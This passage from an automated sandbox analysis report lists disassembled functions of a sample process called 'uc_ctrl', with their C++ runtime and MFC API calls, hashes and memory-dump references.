                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0?$codecvt@??0_??1_ExceptionGetcvtLocinfo@1@Locinfo_ctor@_Locinfo_dtor@_Mbstatet@@@std@@ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 746237128-0
                                                                                              • Opcode ID: 7ecf4a42e6c9a0fabf175e3682fdb5b88924a9a5d690bc0dd7116b5649e3cff8
                                                                                              • Instruction ID: 8b02c7feeae041a198d19d20960d02bc8a3fde3682542a531a83c08e4bcc8c18
                                                                                              • Opcode Fuzzy Hash: 7ecf4a42e6c9a0fabf175e3682fdb5b88924a9a5d690bc0dd7116b5649e3cff8
                                                                                              • Instruction Fuzzy Hash: 10F09070A00306DADB00EFE4C454ADDBBB5AF1C798F60446DD415BB781DBB09648C791
                                                                                              Function 6CEE3850 Relevance: 7.5, APIs: 5, Instructions: 34COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEE3857
                                                                                              • new.LIBCMT ref: 6CEE386E
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6CEEE0B3,00000001,?,00000000,?,00000000), ref: 6CEE3888
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ??0?$ctype@_W@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(00000000,00000000,0000003C,6CEEE0B3,00000001,?,00000000,?,00000000), ref: 6CEE389C
                                                                                                • Part of subcall function 6CEE3810: __EH_prolog3.LIBCMT ref: 6CEE3817
                                                                                                • Part of subcall function 6CEE3810: ctype.LIBCPMT(?,00000004,6CEE38A1,00000000,00000000,0000003C,6CEEE0B3,00000001,?,00000000,?,00000000), ref: 6CEE3834
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000000,0000003C,6CEEE0B3,00000001,?,00000000,?,00000000), ref: 6CEE38A6
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0?$ctype@_??0_??1_ExceptionLocinfo@1@Locinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@W@std@@_lock_localesctypemallocstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 64052058-0
                                                                                              • Opcode ID: 9c6c05fb98298edf3bc7a77a4157c7246c6795484e89d978387609c62b579923
                                                                                              • Instruction ID: d7d50a76dea4285d3def5699397b57db2ac828e4b4a775fd2b3a49008c7a4616
                                                                                              • Opcode Fuzzy Hash: 9c6c05fb98298edf3bc7a77a4157c7246c6795484e89d978387609c62b579923
                                                                                              • Instruction Fuzzy Hash: 1FF090B0A00306DADB00EFE4C850BDDBBB4AF0C798F60486DD505AB781DB749648C795
                                                                                              Function 6CEE2A80 Relevance: 7.5, APIs: 5, Instructions: 34COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEE2A87
                                                                                              • new.LIBCMT ref: 6CEE2A9E
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6CEEE018,?,?,00000000,?,?,?,00000004), ref: 6CEE2AB8
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ??0?$codecvt@_WDU_Mbstatet@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(00000000,00000000,0000003C,6CEEE018,?,?,00000000,?,?,?,00000004), ref: 6CEE2ACC
                                                                                                • Part of subcall function 6CEE2A40: __EH_prolog3.LIBCMT ref: 6CEE2A47
                                                                                                • Part of subcall function 6CEE2A40: _Getcvt.MSVCP140(?,00000030,6CEE2AD1,00000000,00000000,0000003C,6CEEE018,?,?,00000000,?,?,?,00000004), ref: 6CEE2A65
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000000,0000003C,6CEEE018,?,?,00000000,?,?,?,00000004), ref: 6CEE2AD6
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0?$codecvt@_??0_??1_ExceptionGetcvtLocinfo@1@Locinfo_ctor@_Locinfo_dtor@_Mbstatet@@@std@@ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 2338120120-0
                                                                                              • Opcode ID: 7ecf4a42e6c9a0fabf175e3682fdb5b88924a9a5d690bc0dd7116b5649e3cff8
                                                                                              • Instruction ID: b82a9bf654f98930e3c60e922ae567bcc6daf1145c308bb5caf317dcacf6958f
                                                                                              • Opcode Fuzzy Hash: 7ecf4a42e6c9a0fabf175e3682fdb5b88924a9a5d690bc0dd7116b5649e3cff8
                                                                                              • Instruction Fuzzy Hash: 85F06D70A00316DBDB00EFE4C454ADDBBB4AF18798F60885DD419AB781DBB09A88C791
                                                                                              Function 6CEEFBB0 Relevance: 7.5, APIs: 5, Instructions: 34COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEEFBB7
                                                                                              • new.LIBCMT ref: 6CEEFBCE
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,0000003C,6CEFA19F,?,?,00000000,?,?,?,00000004), ref: 6CEEFBE8
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ??0?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(00000000,00000000,0000003C,6CEFA19F,?,?,00000000,?,?,?,00000004), ref: 6CEEFBFC
                                                                                                • Part of subcall function 6CEEFC20: __EH_prolog3.LIBCMT ref: 6CEEFC27
                                                                                                • Part of subcall function 6CEEFC20: ?_Init@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000004,6CEEFC01,00000000,00000000,0000003C,6CEFA19F,?,?,00000000,?,?,?,00000004), ref: 6CEEFC44
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(00000000,00000000,0000003C,6CEFA19F,?,?,00000000,?,?,?,00000004), ref: 6CEEFC06
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$G@std@@@std@@@std@@U?$char_traits@V?$istreambuf_iterator@$??0?$time_get@??0_??1_ExceptionInit@?$time_get@Locinfo@1@Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
                                                                                              • String ID:
                                                                                              • API String ID: 2170365789-0
                                                                                              • Opcode ID: fe0d87d6e5482cb80bd50fd97784a21e635a0d4f9d98af95220178842d1a7335
                                                                                              • Instruction ID: 0909c315da068fcf978502f0869d19f6ce41ce7f0cea436c5f19f9872cb7ecb3
                                                                                              • Opcode Fuzzy Hash: fe0d87d6e5482cb80bd50fd97784a21e635a0d4f9d98af95220178842d1a7335
                                                                                              • Instruction Fuzzy Hash: 07F06D70A00306DADB00EFE48860ADDBBB4AF48798F70485DD905AB781DB749A49C795
                                                                                              Function 6CEDE4F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 134COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,6CEDDA4C), ref: 6CEDE515
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: isspace
                                                                                              • String ID: )$_
                                                                                              • API String ID: 3785662208-3269527998
                                                                                              • Opcode ID: ac53e6e08d14ce159d9e62173c870bcca792c99076658faca1926f4cbab5d006
                                                                                              • Instruction ID: dfeb62b819935e1502c2279dd284faec4c6412ca53fd96a433901b80b3b527bb
                                                                                              • Opcode Fuzzy Hash: ac53e6e08d14ce159d9e62173c870bcca792c99076658faca1926f4cbab5d006
                                                                                              • Instruction Fuzzy Hash: 5D4101A0A5CE994FDB204A1988583E6FBF79B0739CFBA4586E5F447B01E2207C8347D5
                                                                                              Function 6CF97288 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 6CF8FB34: LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6CF9063F,00000000,?,?,6CF6F6D7,6D1C244C), ref: 6CF8FB48
                                                                                              • __CxxThrowException@8.LIBVCRUNTIME ref: 6CF97293
                                                                                                • Part of subcall function 6D0C6276: RaiseException.KERNEL32(?,?,?,00000001,00000000,?,00000000), ref: 6D0C62D5
                                                                                              • GetClassInfoW.USER32(?,0000007C,?), ref: 6CF97349
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ClassCriticalExceptionException@8InfoLeaveRaiseSectionThrow
                                                                                              • String ID: Afx:%p:%x$Afx:%p:%x:%p:%p:%p
                                                                                              • API String ID: 569307812-2801496823
                                                                                              • Opcode ID: 8ffd080703580d20be2a70bd2f04ce470afe6cabf30818c6bed8e9b0179c29eb
                                                                                              • Instruction ID: 0f66cfd63ad0231ab2e93a2f1a5a8823141466093ad15010ae960f7c28696b27
                                                                                              • Opcode Fuzzy Hash: 8ffd080703580d20be2a70bd2f04ce470afe6cabf30818c6bed8e9b0179c29eb
                                                                                              • Instruction Fuzzy Hash: F0315B71905209EFEF11DFAAC840BDEBBF4EF09318F514066F915A7660DB7089518FA2
                                                                                              Function 6CEF8B2C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch.LIBCMT ref: 6CEF8B33
                                                                                              • _Getcvt.MSVCP140(?,00000034,6CEF21F7,?,00000001,0000003C,6CEF99D2,00000000), ref: 6CEF8B41
                                                                                                • Part of subcall function 6CEDF0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6CEDD26D,?), ref: 6CEDF107
                                                                                                • Part of subcall function 6CEDF0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6CEDD26D,?), ref: 6CEDF111
                                                                                                • Part of subcall function 6CEDF0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6CEDD26D,?), ref: 6CEDF11A
                                                                                                • Part of subcall function 6CEDF0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6CEDD26D,?), ref: 6CEDF130
                                                                                              • localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,00000034,6CEF21F7,?,00000001,0000003C,6CEF99D2,00000000), ref: 6CEF8B50
                                                                                                • Part of subcall function 6CEEB342: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,00000001,?,00000000,6CEFC413,0000000B,00000034,6CEFB839,?,00000004,6CEFB7F1,00000000,00000000,0000003C,6CEFD869,?), ref: 6CEEB358
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: GetcvtH_prolog3_catch___lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbbleadcalloclocaleconv
                                                                                              • String ID: $+xv
                                                                                              • API String ID: 3591613707-1686923651
                                                                                              • Opcode ID: 33d54e952f6a837a5208288c13126aa0e994752a5c240b6e1418688d293f1680
                                                                                              • Instruction ID: bc6b1f0dcb273b45fd835de1aefafb2f1fd782ff8fbc3819a4f1cc61aea75add
                                                                                              • Opcode Fuzzy Hash: 33d54e952f6a837a5208288c13126aa0e994752a5c240b6e1418688d293f1680
                                                                                              • Instruction Fuzzy Hash: 7031B2B45047808EDB24CF258490267BBF8AF4E304B24459FD8AACFB55D770E946CB90
                                                                                              Function 6CEF0C80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Getffld@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@1AAVios_base@2@PAH@Z.MSVCP140(?,?,?,?,?,?,?,?), ref: 6CEF0CC7
                                                                                                • Part of subcall function 6CEF56A0: __EH_prolog3_GS.LIBCMT ref: 6CEF56AA
                                                                                                • Part of subcall function 6CEF56A0: ?_Getffldx@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@1AAVios_base@2@PAH@Z.MSVCP140(?,?,?,?,?,?,0000008C,6CEF0CCC,?,?,?,?,?,?,?,?), ref: 6CEF56DE
                                                                                              • _Stoldx.MSVCP140(?,?,00000000), ref: 6CEF0CDA
                                                                                              • ldexp.API-MS-WIN-CRT-MATH-L1-1-0(?,?,?), ref: 6CEF0CF7
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@V?$istreambuf_iterator@$G@std@@@2@1G@std@@@std@@@std@@Vios_base@2@$Getffld@?$num_get@Getffldx@?$num_get@H_prolog3_Stoldxldexp
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 2163817251-738913995
                                                                                              • Opcode ID: 8626dcb3cf2fa5fa19ee047d3f8d3d6dfac26cd3bdacfd9f7d34bc2745b89156
                                                                                              • Instruction ID: 6131ff83953da95a121933e94f9349ddcecebc4e6e47bb4090d79957dcd8bde3
                                                                                              • Opcode Fuzzy Hash: 8626dcb3cf2fa5fa19ee047d3f8d3d6dfac26cd3bdacfd9f7d34bc2745b89156
                                                                                              • Instruction Fuzzy Hash: 0C217372604206DFD700DF14C98099BB7FCFF88314F108A5EF8A992240D771EA19CBA2
                                                                                              Function 6CEE8C40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ?_Getffld@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@1AAVios_base@2@PAH@Z.MSVCP140(?,?,?,?,?,?,?,?), ref: 6CEE8C87
                                                                                                • Part of subcall function 6CEE9DE0: __EH_prolog3_GS.LIBCMT ref: 6CEE9DE7
                                                                                                • Part of subcall function 6CEE9DE0: ?_Getffldx@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHPADAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@1AAVios_base@2@PAH@Z.MSVCP140(?,?,?,?,?,?,0000007C,6CEE8C8C,?,?,?,?,?,?,?,?), ref: 6CEE9E18
                                                                                              • _Stoldx.MSVCP140(?,?,00000000), ref: 6CEE8C9A
